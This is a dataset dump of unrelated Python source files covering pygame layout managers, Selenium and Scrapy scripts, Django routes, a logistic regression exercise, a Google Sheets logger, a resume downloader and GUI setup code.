cell_h = self_size[1] / self.rows\n\n return cell_w * self._children[child][0], cell_h * self._children[child][1]\n\n def request_size(self, child):\n \"\"\"Compute the desired size for any given child.\"\"\"\n self_size = self.parent.request_size(self)\n if child not in self._children: return self_size\n\n cell_w = self_size[0] // self.columns\n cell_h = self_size[1] // self.rows\n\n return (cell_w * child.col_span,\n cell_h * child.row_span)\n\n\nclass SingleManager(Manager):\n \"\"\"\n This is a wrapper manager that only contains one child. This is used by the\n root window when a widget is parented to it.\n \"\"\"\n def __init__(self):\n super().__init__()\n self.parent = None\n\n def set_c(self, child):\n \"\"\"Add a new child into the griding system.\"\"\"\n assert isinstance(child, Gridable)\n self._children[child] = None\n\n child.parent = self\n return child\n\n def request_position(self, child):\n \"\"\"Compute the relative location for any given child.\"\"\"\n return 0, 0\n\n def request_size(self, child):\n \"\"\"Compute the desired size for any given child.\"\"\"\n return self.parent.request_size(self)\n\n def remove_child(self, _):\n self.parent.remove_child(self)\n del self\n\n def destroy(self):\n self.parent.remove(self)\n if isinstance(self.parent, Manager):\n if self.parent.children == 0:\n self.parent.destroy()\n\n\nclass RootWindow(Manager):\n \"\"\"\n This class 'owns' the connection to the screen and is the root propagator of\n all events and render requests.\n\n It allows for a single child to be attached. This is recommended to be a\n manager, although any `Griddable` element is accepted.\n\n TODO: Allow for multiple stacked children.\n \"\"\"\n def __init__(self, screen):\n super().__init__()\n\n self._screen = screen\n self._children = []\n self.clock = pygame.time.Clock()\n\n self.running = True\n\n def render(self, *args):\n \"\"\"Request that the child elements perform a render check.\"\"\"\n self._screen.fill(CONFIG.get('border_colour', (0, 0, 0)))\n\n for c in self._children:\n c.render(self._screen, (0, 0))\n\n pygame.display.update()\n\n def events(self):\n \"\"\"Collect all pending events, handle core ones, then propagate.\"\"\"\n self.clock.tick(CONFIG.get('fps', 30))\n\n event = pygame.event.poll()\n while event.type != pygame.NOEVENT:\n if event.type == pygame.VIDEORESIZE:\n self._screen = pygame.display.set_mode(event.size, (not CONFIG.get('rpi')) * pygame.RESIZABLE, 32)\n elif event.type == pygame.QUIT:\n self.running = False\n return\n\n if self._children:\n self._children[-1].event(event, (0, 0))\n\n event = pygame.event.poll()\n pygame.time.wait(10)\n\n def tick(self):\n \"\"\"Give all children a chance to process frame-based logic\"\"\"\n for c in self._children:\n c.tick()\n\n def add_child(self, child):\n \"\"\"Add a child element.\"\"\"\n if not isinstance(child, Manager):\n nc = SingleManager()\n nc.set_c(child)\n child = nc\n self._children.append(child)\n child.parent = self\n\n return child\n\n def remove_child(self, child):\n \"\"\"Remove a child from this parent.\"\"\"\n if child in self._children:\n self._children.remove(child)\n child.parent = None\n return child\n\n def request_size(self, child):\n \"\"\"This implements the expected method of any `Manager`.\"\"\"\n return self._screen.get_size()\n\n def mainloop(self):\n \"\"\"\n Take control of the thread and process all events.\n\n THIS IS A BLOCKING CALL. It will never return while the widow is still open.\n \"\"\"\n while self.running:\n self.render()\n self.events()\n self.tick()\n pygame.quit()\n","sub_path":"meter/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":10129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"332091430","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\ndriver = webdriver.Firefox()\ndriver.get('http://the-internet.herokuapp.com/drag_and_drop')\n\nelement = driver.find_element(By.ID, 'column-a')\ntarget = driver.find_element(By.ID, 'column-b')\n\naction_chains = webdriver.ActionChains(driver)\naction_chains.drag_and_drop(element, target).perform()\n","sub_path":"Topicos/topicos-especiais/selenium-codes/aula8-drag-drop.py","file_name":"aula8-drag-drop.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"547725026","text":"\n\nfrom entities.jtracker import JTracker\nimport os\nimport fnmatch\nimport json\nimport logging\n\nSTATES = ['completed','backlog','running','failed','queued']\n\nclass GithubJTracker(JTracker):\n\n def __init__(self, respositories):\n super().__init__()\n self._repositories = respositories\n self._jobs = {}\n self._load_repositories()\n return\n\n def _load_repositories(self):\n for repo in self._repositories:\n if not self.validate_folder(repo):\n raise Exception(\"The repo is not a valid jtracker repository: \" + repo)\n\n for state in STATES:\n for job_path in self._list_jobs_in_repo(os.path.join(repo,\"job_state.\"+state)):\n with open(job_path, 'r') as fp:\n self._jobs[job_path] = json.load(fp)\n return\n\n def validate_folder(self, repo):\n content = os.listdir(repo)\n return 'job_state.completed' in content\n\n def _get_state(self, job_name):\n for state in STATES:\n if \"job.\"+state in job_name:\n return state\n\n def get_job_ids(self, state=None):\n if state == None:\n return self._jobs.keys()\n return [id for id in self._jobs.keys() if \"job.\"+state in id]\n\n\n def get_job(self, id):\n return self._jobs[id]\n\n def get_job_data(self, id):\n return self.get_job(id)\n\n def _list_jobs_in_repo(self, repo):\n jobs = []\n for root, dirnames, filenames in os.walk(repo):\n for filenames in fnmatch.filter(filenames, 'job.*.json'):\n jobs.append(os.path.join(root,filenames))\n return jobs","sub_path":"operations/ega/utils/github_jtracker.py","file_name":"github_jtracker.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"530431151","text":"#\n# 7-1 Class for deck of cards\nclass Suit:\n Club = 1\n Diamond = 2\n Heart = 3\n Spade = 4\n\nclass Card:\n def __init__(self, number, suit):\n self.number = number\n self.suit = suit\n\n def __eq__ (self, other):\n if type(other) is self.__class__:\n return (self.__dict__ == other.__dict__)\n else:\n return False\n \n#\n# 7-9 In memory file system\n#\n\nclass IdGen:\n def __init__(self):\n self.nextId = 0\n\n def gensym(self):\n id = self.nextId\n self.nextId +=1\n return id\n\nclass Node:\n # A node is a name that could be either a file or a dir\n def __init__(self, name, id, isDir):\n self.name = name\n self.id = id\n self.isDir = isDir\n self.parentId = None\n \n \nclass NodeFactory:\n def __init__(self):\n self.idGen = IdGen()\n id = self.idGen.gensym()\n self.root = Node('', id, True)\n\n def mkDir(self, parent, name):\n assert(parent.isDir)\n id = self.idGen.gensym()\n dir = Node(name, id, True)\n dir.parentId = parent.id\n return dir\n\n def newFile(self, parent, name):\n assert(parent.isDir)\n id = self.idGen.gensym()\n f = Node(name, id, False)\n f.parentId = parent.id\n return f\n\ndef list_dir(nodes, node):\n x = [y for y in nodes if \\\n (y.parentId == current_node.id)]\n return x\t\t\t\t \n\t\t\ndef find_node(nodes, cwd, root):\n if cwd[-1] == '/': # Trailing backslash is ignored\n\t cwd = cwd[:-1]\n names = cwd.split('/')\n current_node = root\n for name in names:\n if len(name) == 0:\n current_node = root\n else:\n x = [y for y in nodes if \\\n (y.parentId == current_node.id) and \\\n (y.name == name)]\n if len(x) <1: \n raise ValueError(\"Cannot find %s\" % name)\n else:\n current_node = x[0] \n return current_node\n\n","sub_path":"oo.py","file_name":"oo.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"522822502","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.experimentstool, name='experimentstool'),\n url(r'^_get_new_stock$',\n views.get_new_stock, name='_get_new_stock'),\n url(r'^_upload_application$',\n views.upload_application, name='_upload_application'),\n url(r'^_load_applications$',\n views.load_applications, name='_load_applications'),\n url(r'^_load_owned_applications$',\n views.load_owned_applications, name='_load_owned_applications'),\n url(r'^_get_application_inputs$',\n views.get_application_inputs, name='_get_application_inputs'),\n url(r'^_get_datasets$',\n views.get_datasets, name='_get_datasets'),\n url(r'^_get_dataset_info$',\n views.get_dataset_info, name='_get_dataset_info'),\n url(r'^_deploy_application$',\n views.create_deployment, name='_deploy_application'),\n url(r'^_get_deployments$',\n views.get_deployments, name='_get_deployments'),\n url(r'^_get_executions$',\n views.get_executions, name='_get_executions'),\n url(r'^_execute_deployment$',\n views.execute_deployment, name='_execute_deployment'),\n url(r'^_get_executions_events$',\n views.get_executions_events, name='_get_executions_events'),\n url(r'^_destroy_deployment$',\n views.destroy_deployment, name='_destroy_deployment'),\n url(r'^_remove_application$',\n views.remove_application, name='_remove_application'),\n url(r'^_get_hpc_list$',\n views.get_hpc_list, name='_get_hpc_list'),\n url(r'^_add_hpc$',\n views.add_hpc, name='_add_hpc'),\n url(r'^_delete_hpc$',\n views.delete_hpc, name='_delete_hpc'),\n]\n","sub_path":"portal/experimentstool/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"295997989","text":"import pickle\n\ncarreras = {\n \"música\":\n [\"historia\", \"piano 1\", \"piano 2\", \"guitarra\", \"composición\"],\n \"pintura\":\n [\"historia\", \"dibujo 1\", \"dibujo 2\", \"pintura 1\", \"pintura 2\"]\n}\n\n\nalumnos = {\n 1000: (\"Ana\", [\"música\", \"pintura\"], {\"historia\": [2, 10], \"piano 1\": [8], \"piano 2\": [2]}),\n 2000: (\"Juan\", [\"pintura\"], {\"historia\": [6], \"dibujo 1\": [8], \"pintura 1\": [2, 7], \"dibujo 2\": [2]})\n}\n\n##Definimos las excepciones\n\nclass CarreraDesconocidaError(Exception):\n pass\n\nclass LegajoDesconocidoError(Exception):\n pass\n\n\ndef que_le_falta(carreras, alumnos, legajo, carrera):\n materias_que_le_faltan = []\n if carrera in carreras:\n if legajo in alumnos:\n alumno = alumnos[legajo]\n materias_del_alumno = alumno[2]\n for materia in carreras[carrera]:\n if materia in materias_del_alumno:\n notas_del_alumno = materias_del_alumno[materia]\n aprobada = False\n for nota in notas_del_alumno:\n aprobada = (nota >= 4 )\n\n if not aprobada:\n materias_que_le_faltan.append(materia)\n\n else:\n materias_que_le_faltan.append(materia)\n else:\n raise LegajoDesconocidoError(\"El legajo no existe\")\n else:\n raise CarreraDesconocidaError(\"La carrera que ingreso no existe\")\n\n return materias_que_le_faltan\n\n\ndef guardar_carreras_en_disco(carreras, nombre_archivo):\n with open (nombre_archivo, 'wb') as writer:\n pickle.dump(carreras, writer)\n\n\ndef recuperar_carreras_de_disco(nombre_archivo):\n diccionario = dict()\n with open(nombre_archivo, 'rb') as reader:\n diccionario = pickle.load(reader)\n\n return diccionario\n\n\n\n\nprint(que_le_falta(carreras, alumnos, 1000, \"música\"))\nguardar_carreras_en_disco(carreras, \"pepe\")\nprint(recuperar_carreras_de_disco(\"pepe\"))\n","sub_path":"parcial1/model1/ejercicio2.py","file_name":"ejercicio2.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"408499031","text":"import pdb\nimport numpy as np\nfrom math import log\nfrom math import exp\n\nlearning_rate = .01\n\ndef p1(xhat, beta):\n e = np.exp(-np.dot(beta.T, xhat))[0][0]\n return 1 / (1 + e)\n\n\ndef iterate(X, Y, beta):\n import pdb\n # pdb.set_trace()\n grad = np.zeros(shape=beta.shape)\n grad2 = 0\n loss = 0\n for x, y in zip(X, Y):\n xhat = np.concatenate((np.array([x]).T, np.array([[1]])))\n y = y[0]\n grad += - xhat * (y - p1(xhat, beta))\n grad2 += np.dot(xhat, xhat.T) * p1(xhat, beta) * (1 - p1(xhat, beta))\n # pdb.set_trace()\n loss += log(1 + exp(-np.dot(beta.T, xhat))) + np.dot(beta.T, xhat) \\\n - y * np.dot(beta.T, xhat)\n beta = beta - learning_rate * np.dot(np.linalg.inv(grad2), grad)\n return grad, grad2, beta, loss\n\n\ndef train(X, Y, beta):\n epoch = 20\n for i in range(epoch):\n grad, grad2, beta, loss = iterate(X, Y, beta)\n if i > 17:\n print('Epoch:', i, '\\tloss =', loss)\n return beta\n\n\ndef test(X, Y, beta):\n correct_cnt = 0\n p = [[0] * output_num for i in range(Y[0].shape[0])]\n for j, tempY, temp_beta in zip(range(output_num), Y, beta):\n for i, x, y in zip(range(tempY.shape[0]), X, tempY):\n xhat = np.concatenate((np.array([x]).T, np.array([[1]])))\n p[i][j] = p1(xhat, temp_beta)\n yhat = [tp.index(max(tp)) for tp in p]\n Y = [i.T[0] for i in Y]\n Y = np.array(Y).T.tolist()\n ydesire = [ty.index(max(ty)) for ty in Y]\n for i in range(len(yhat)):\n if yhat[i] == ydesire[i]:\n correct_cnt += 1\n return correct_cnt\n\n\nimport pandas as pd\ndata = pd.read_csv('iris.data', sep=',',\n names=['sepal_length', 'sepal_width', 'petal_length', 'petal_width', 'class'])\ndata = data.sample(frac=1)\ndataX = (data.loc[:, ['sepal_length', 'sepal_width',\n 'petal_length', 'petal_width']])\ndataX = (dataX - dataX.min())/(dataX.max() - dataX.min())\n\ninput_dim = 4\noutput_dim = 1\noutput_num = 3\nbeta = [np.random.normal(size=(input_dim + 1, output_dim))] * 3\n\n\nX = dataX.loc[:, ['sepal_length', 'sepal_width',\n 'petal_length', 'petal_width']].as_matrix()\nY = pd.get_dummies(data.loc[:, ['class']], columns=['class']).as_matrix().T\nY = [np.array([y]).T for y in Y]\n\n\ndef k_fold(X, Y, beta, k):\n step = (X.shape[0] + 1) // k\n correct_cnt = 0\n for i in range(k):\n print('the',i,'th fold train started')\n for j, tempY, temp_beta in zip(range(output_num), Y, beta):\n # pdb.set_trace()\n train_X = np.concatenate((X[:i*step, :], X[(i+1)*step:, :]))\n train_Y = np.concatenate(\n (tempY[:i*step, :], tempY[(i+1)*step:, :]))\n beta[j] = train(train_X, train_Y, temp_beta)\n test_X = X[i*step:min((i+1)*step, X.shape[0]), :]\n test_Y = [y[i*step:min((i+1)*step, y.shape[0]), :] for y in Y]\n correct_cnt += test(test_X, test_Y, beta)\n print(k, 'fold test finished', correct_cnt, 'was correct')\n","sub_path":"machine_learning/3.4.uci-iris.py","file_name":"3.4.uci-iris.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"364159156","text":"'''\nSi definiscono divisori propri di un numero tutti i suoi divisori tranne l'uno e il numero stesso.\nScrivere una funzione modi(ls,k) che, presa una lista ls di interi ed un intero \nnon negativo k:\n 1) cancella dalla lista ls gli interi che non hanno esattamente k divisori propri\n 2) restituisce una seconda lista che contiene i soli numeri primi di ls.\nNOTA: un numero maggiore di 1 e' primo se ha 0 divisori propri.\n\nad esempio per ls = [121, 4, 37, 441, 7, 16] \nmodi(ls,3) restituisce la lista con i numeri primi [37,7] mentre al termine della funzione si avra' che la lista ls=[16]\n\nPer altri esempi vedere il file grade.txt\n\nATTENZIONE: NON USATE LETTERE ACCENTATE.\nATTENZIONE: Se il grader non termina entro 30 secondi il punteggio dell'esercizio e' zero.\n'''\n\ndef modi(ls,k):\n ls1=[]\n lsprimi=[]\n for i in ls:\n if primi(i)!=k:\n ls1.append(i) \n if primi(i)==0:\n lsprimi.append(i) \n for i in ls1:\n if i in ls: \n ls.remove(i)\n return lsprimi\n \ndef primi(n):\n j=2\n a=1\n h=n\n while j1:\n a*=2\n return a-2 \n\ndef radice(n):\n n=(n**0.5)+1\n return n \n \n\n","sub_path":"students/1816799/homework01/program01.py","file_name":"program01.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"61250032","text":"\"\"\"Add remote network services column\n\nRevision ID: 554a80bfdef0\nRevises: 6d03b6285416\nCreate Date: 2020-10-22 09:10:18.603156\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom app.models import JSONEncodedDict\n\n\n# revision identifiers, used by Alembic.\nrevision = '554a80bfdef0'\ndown_revision = '6d03b6285416'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.add_column('experiment', sa.Column('remoteNetworkServices', JSONEncodedDict(), nullable=True))\n\n\ndef downgrade():\n op.drop_column('experiment', 'remoteNetworkServices')\n","sub_path":"migrations/versions/554a80bfdef0_add_remote_network_services_column.py","file_name":"554a80bfdef0_add_remote_network_services_column.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"186363455","text":"import math\r\nimport numpy as np\r\nimport matplotlib.pyplot as mp\r\nimport scipy as sc\r\n\r\n\r\ndef f(x):\r\n return x + math.sin(x) / 1 + math.cos(x)\r\n\r\n\r\ndef F(x):\r\n return x * math.tan(x / 2)\r\n\r\n\r\ndef newton_cotes(function, a, b, n, H, step):\r\n integral = 0\r\n h = (b - a) / n\r\n for i in range(0, len(H), step):\r\n integral = H[i] * function(a + i * h)\r\n\r\n return (b - a) * integral\r\n\r\ndef seq(start, stop, step=1, digit=0):\r\n x = float(start)\r\n v = []\r\n while x <= stop:\r\n v.append(round(x,digit))\r\n x += step\r\n return v\r\n\r\ndef gauss(function, a, b, n, A, X, step):\r\n h = (b - a) / step\r\n integral = 0\r\n for j in seq(a, b, h):\r\n xj = j\r\n for i in range(0, n):\r\n xi = xj + X[i]*h\r\n integral += A[i]*function(xi**j)\r\n\r\n return h*integral\r\n\r\n\r\ndef gauss_error():\r\n F_result = F(b) - F(a)\r\n returned_array = []\r\n for step in range(1, 20):\r\n f_result = gauss(function=f, a=a, b=b, n=n, A=A, X=X, step=step)\r\n print(f_result)\r\n returned_array.append(abs(F_result - f_result))\r\n return np.asarray(returned_array)\r\n\r\n\r\ndef newton_cotes_error(F, f, a, b, n, H):\r\n F_result = F(b) - F(a)\r\n returned_array = []\r\n for step in range(1, 20):\r\n f_result = newton_cotes(function=f, a=a, b=b, n=n, H=H, step=step)\r\n print(f_result)\r\n returned_array.append(abs(F_result - f_result))\r\n return np.asarray(returned_array)\r\n\r\n\r\na = 0\r\nb = math.pi / 2\r\nn = 4\r\nH = np.array([0.0777778, 0.3555556, 0.1333333, 0.3555556, 0.0777778])\r\n# print('Метод Ньютона-Котеса: ', newton_cotes(function=f, a=a, b=b, n=n, H=H, step=1))\r\n# print('Значение интеграла: ', F(b) - F(a))\r\n\r\nerrors = newton_cotes_error(F=F, f=f, a=a, b=b, n=n, H=H)\r\nmp.plot(np.array(errors))\r\nmp.axis([0, 21, 0, 2])\r\n\r\nX = np.array([0.0694318, 0.3300095, 0.6699905, 0.9305682])\r\nA = np.array([0.1739274, 0.3260726, 0.3260726, 0.1739274])\r\n\r\nerrors = gauss_error()\r\nmp.plot(np.array(errors))\r\nmp.axis([0, 21, 0, 20])\r\nmp.show()\r\n\r\n","sub_path":"lab7/lab7.py","file_name":"lab7.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"441563338","text":"import gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport datetime\nfrom pytz import timezone\n\nclass sheetsWrapper:\n def __init__(self):\n # use creds to create a client to interact with the Google Drive API\n scope = ['https://www.googleapis.com/auth/drive.appdata', 'https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/drive.file']\n creds = ServiceAccountCredentials.from_json_keyfile_name('client_secret.json', scope)\n client = gspread.authorize(creds)\n\n # Find a workbook by name and open the first sheet\n # Make sure you use the right name here.\n try:\n self.sheet = client.open_by_url(\"https://docs.google.com/spreadsheets/d/18X1VU-dwj_tOA4V95_a1Tv6q7zXABOPRV5i5_l0T8kc/edit#gid=0\")\n print('Opened sheet')\n except:\n client.create(\"UnlockLog\")\n print(\"made a new one\")\n self.sheet = client.open(\"UnlockLog\").sheet1\n self.worksheet = self.sheet.get_worksheet(0)\n self.row = 1\n\n\n def updateIndex(self):\n rowIdx = self.worksheet.acell('G2').value\n\n self.row = int(rowIdx) + 1\n self.worksheet.update_acell('G2', self.row)\n\n def updateLog(self, State, Device):\n self.updateIndex()\n range_build = 'A' + str(self.row) + ':D' + str(self.row)\n cell_list = self.worksheet.range(range_build)\n\n Arizona = timezone('US/Arizona')\n dateNow = str(datetime.date.today())\n # timeNow = str(datetime.datetime.now(Arizona))\n timeNow = str(datetime.datetime.time(datetime.datetime.now(Arizona)).replace(microsecond=0))\n cell_values = [dateNow, timeNow, State, Device]\n print(cell_values)\n\n for i, val in enumerate(cell_values): # gives us a tuple of an index and value\n cell_list[i].value = val # use the index on cell_list and the val from cell_values\n\n self.worksheet.update_cells(cell_list)","sub_path":"python/Projects/wifiLogging/sheetsWrapper.py","file_name":"sheetsWrapper.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"62337514","text":"import json\nimport scrapy\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nimport re\n\nfrom ProxyWalker.items import ProxyItem\n\n\nclass ProxyListPlusSpider(CrawlSpider):\n name = 'proxylistplus'\n allowed_domains = ['proxylistplus.com', 'list.proxylistplus.com']\n start_urls = ('http://list.proxylistplus.com/Fresh-HTTP-Proxy-List-1',)\n\n def parse_start_url(self, response):\n return self.parse_page(response)\n\n def parse_page(self, response):\n trs = response.xpath('/html/body/div[1]/table[2]/tr')\n trs = trs[2:]\n if trs:\n for tr in trs:\n item = ProxyItem()\n try:\n _ip = tr.xpath('td[2]/text()').extract_first().encode()\n _ip = re.search('(\\d+\\.\\d+\\.\\d+\\.\\d+)', _ip).group(1)\n _port = tr.xpath('td[3]/text()').extract_first().encode()\n _type = tr.xpath('td[4]/text()').extract_first()\n _id = hash(_ip+_port+_type+self.name)\n item['_id'] = _id\n item['source'] = self.name\n item['ip'] = _ip\n item['port'] = _port\n item['p_type'] = _type\n yield item\n except:\n pass\n pages = response.xpath('/html/body/div[1]/table[3]/tr/td/a/@href').extract()\n if pages:\n this_page = response.url.split('//')[-1].split('/')[-1]\n if not this_page or this_page == 'list.proxylistplus.com' or this_page == u'' or this_page == '':\n this_page = 'Fresh-HTTP-Proxy-List-1'\n next_page = 'Fresh-HTTP-Proxy-List-%d' % (int(this_page[-1])+1)\n next_page = next_page.decode()\n if next_page in pages:\n next_page.encode()\n yield scrapy.http.Request('http://list.proxylistplus.com/'+next_page, callback=self.parse_page)\n\n\n","sub_path":"proxylistplus.py","file_name":"proxylistplus.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"31213118","text":"# encoding:utf-8\nimport requests\nimport re\nfrom miaohr_resume import config\nimport os\nimport time\nfrom retrying import retry\n\n\nclass miaohr_resume():\n def __init__(self):\n self.session = requests.session()\n\n def get_floder_dict(self):\n url = 'http://www.miaohr.com/floder/floderdata'\n headers = config.headers\n cookies = config.cookies\n response = self.session.get(url, headers=headers, cookies=cookies)\n floder_list = re.findall('\"id\":\"(.*?)\",', response.text)\n if not floder_list:\n self.get_floder_dict() # 访问异常重试\n down_num = re.findall('\"down_num\":\"(.*?)\",', response.text) # 可下载简历数量,计算页数\n floder_dict = dict(zip(floder_list, down_num))\n return floder_dict\n\n def get_resume_id(self, folder_id, page_num):\n url = 'http://www.miaohr.com/file_resume_list/index/flag/1/jid/{}/p2/{}.html'.format(folder_id, page_num)\n headers = config.html_headers\n cookies = config.cookies\n response = self.session.get(url, headers=headers, cookies=cookies)\n resume_list = re.findall('resumeids=\"(.*?)\">', response.text, re.S)\n return resume_list\n\n @retry(retry_on_exception=IndexError, stop_max_attempt_number=20, wait_fixed=2) # 异常重试\n def download_resume_series(self, resume_id):\n resume_link = 'http://www.miaohr.com/ResumeExportOrders/exportOrdersResume?style=word&resumeid=' + resume_id\n headers = config.html_headers\n cookies = config.cookies\n response = self.session.get(resume_link, headers=headers, cookies=cookies)\n name = re.sub('[\\s,/]', '', re.findall('姓名:(.*?)<', response.text, re.S)[0]) # 获取简历姓名\n if name:\n word = r'C:\\Users\\XYSM\\Desktop\\miaohr_resume\\001\\{}.doc'.format(name) # 每个账号下保存简历的文件夹不同,需要修改\n with open(word, 'wb+')as f:\n f.write(response.content)\n f.close()\n print('简历--{}.doc--下载完成--'.format(name))\n\n def main(self):\n floder = self.get_floder_dict()\n print(floder)\n resume_id_list = []\n for id in floder:\n for page_num in range(1, int(int(floder[id]) / 30) + 2): # 计算页数,向上取整\n resume_id_list.extend(self.get_resume_id(id, page_num))\n print(len(resume_id_list))\n for resume in resume_id_list:\n self.download_resume_series(resume)\n\n\nif __name__ == '__main__':\n start = time.process_time()\n a = miaohr_resume()\n a.main()\n end = time.process_time()\n print(\"所需时间:{}s\".format(end - start))\n","sub_path":"resume_miaohr.py","file_name":"resume_miaohr.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"362932258","text":"from ..base import *\nfrom ..tooltip import ToolTip\nfrom ..button import Button\nfrom ..combobox import ComboBox\nfrom ..field import InputField\nfrom ..colorctrl import ColorPickerCtrl\nfrom ..checkbox import CheckBox\nfrom ..radiobtn import RadioButtonGroup\nfrom ..panel import Panel, PanelStack\nfrom .viewport import Viewport\nfrom .transform import TransformToolbar\nfrom .material import MaterialPanel, MaterialToolbar\nfrom .hierarchy import HierarchyPanel\nfrom .props import PropertyPanel\nfrom .history import HistoryToolbar\nfrom .grid import GridToolbar\nfrom .status import StatusBar\nfrom .menu import MenuBar\nfrom .file import FileManager\nfrom .create import CreationManager\nfrom .edit import EditManager\nfrom .view import ViewManager\nfrom .render import RenderModeToolbar\nfrom .obj_props import ObjectPropertiesMenu\n\n\nclass Components(BaseObject):\n\n def __init__(self, frame):\n\n border_bitmap_paths = {\"toolbar\": {}, \"panel\": {}}\n\n for part in (\"left\", \"center\", \"right\"):\n path = os.path.join(GFX_PATH, \"toolbar_border_small_%s.png\" % part)\n border_bitmap_paths[\"toolbar\"][part] = path\n\n for part in (\"left\", \"right\", \"top\", \"bottom\", \"topleft\", \"topright\",\n \"bottomright\", \"bottomleft\"):\n path = os.path.join(GFX_PATH, \"panel_border_sunken_%s.png\" % part)\n border_bitmap_paths[\"panel\"][part] = path\n\n fore_color = wx.Colour(127, 178, 229)\n back_color = wx.Colour(51, 38, 76)\n\n ToolTip.init(frame)\n InputField.init(border_bitmap_paths, fore_color, back_color)\n ColorPickerCtrl.init(border_bitmap_paths)\n ComboBox.init((45, 10))\n Panel.init()\n CheckBox.init(border_bitmap_paths, fore_color.Get(), back_color)\n RadioButtonGroup.init(fore_color, back_color)\n\n def create_bitmap_paths(prefix, states, dupe_states=None):\n\n bitmap_paths = {}\n\n for part in (\"left\", \"center\", \"right\"):\n\n bitmap_paths[part] = {}\n\n for state in states:\n path = os.path.join(GFX_PATH, \"%s_%s_%s.png\" % (prefix, part, state))\n bitmap_paths[part][state] = path\n\n if dupe_states:\n for dupe_state, orig_state in dupe_states:\n bitmap_paths[part][dupe_state] = bitmap_paths[part][orig_state]\n\n return bitmap_paths\n\n states = (\"hilited\", \"pressed\", \"active\")\n paths = create_bitmap_paths(\"btn\", states)\n Button.add_bitmap_paths(\"toolbar_button\", paths)\n\n states = (\"normal\", \"hilited\", \"pressed\", \"active\")\n dupe_states = ((\"disabled\", \"normal\"), )\n paths = create_bitmap_paths(\"btn_small\", states, dupe_states)\n Button.add_bitmap_paths(\"panel_button\", paths)\n\n states = (\"flat\", \"hilited\", \"pressed\")\n dupe_states = ((\"active\", \"pressed\"), )\n paths = create_bitmap_paths(\"combobox\", states, dupe_states)\n ComboBox.add_bitmap_paths(\"toolbar_button\", paths)\n\n states = (\"normal\", \"hilited\", \"pressed\")\n dupe_states = ((\"flat\", \"normal\"), (\"active\", \"pressed\"), (\"disabled\", \"normal\"))\n paths = create_bitmap_paths(\"combobox_small\", states, dupe_states)\n ComboBox.add_bitmap_paths(\"panel_button\", paths)\n\n w, h = size = frame.GetClientSize()\n\n self._disablers = {}\n\n Mgr.accept(\"enable_components\", self.__enable)\n Mgr.accept(\"disable_components\", self.__disable)\n Mgr.accept(\"add_component_disabler\", self.__add_disabler)\n Mgr.accept(\"remove_component_disabler\", self.__remove_disabler)\n\n self._components = components = {}\n\n self._viewport = Viewport(border_width=3,\n parent=frame,\n pos=wx.Point(0, 50 + 24),\n size=wx.Size(800, 600),\n name=\"p3d_viewport\")\n self._obj_props_menu = ObjectPropertiesMenu(self._viewport)\n rot_toolbars = RotatingToolbars(frame, wx.Point(826, 0 + 24))\n toolbar = TransformToolbar(frame, wx.Point(0, 0 + 24), 826)\n rot_toolbars.add_toolbar(\"transform\", toolbar)\n toolbar = MaterialToolbar(frame, wx.Point(0, 0 + 24), 826)\n rot_toolbars.add_toolbar(\"material\", toolbar)\n components[\"main_toolbar\"] = rot_toolbars\n x = 826 + rot_toolbars.get_spinner_width()\n toolbar = HistoryToolbar(frame, wx.Point(x, 0 + 24), w - x)\n components[\"history_toolbar\"] = toolbar\n panel_stack = PanelStack(frame, wx.Point(806, 100 + 24), wx.Size(200, 506))\n components[\"panel_stack\"] = panel_stack\n components[\"hierarchy_panel\"] = HierarchyPanel(panel_stack)\n components[\"prop_panel\"] = PropertyPanel(panel_stack)\n components[\"material_panel\"] = MaterialPanel(panel_stack)\n statusbar = StatusBar(frame, wx.Point(0, h - 24), w)\n components[\"statusbar\"] = statusbar\n toolbar = RenderModeToolbar(frame, wx.Point(806, 50 + 24), 200)\n components[\"render_mode_toolbar\"] = toolbar\n toolbar = GridToolbar(frame, wx.Point(806, 606 + 24), 200)\n components[\"grid_toolbar\"] = toolbar\n menubar = MenuBar(frame, wx.Point(0, 0), 1006)\n components[\"menubar\"] = menubar\n\n self._uv_editing_initialized = False\n\n def uv_edit_command():\n\n if not self._uv_editing_initialized:\n Mgr.update_app(\"uv_edit_init\")\n self._uv_editing_initialized = True\n\n Mgr.enter_state(\"uv_edit_mode\")\n\n 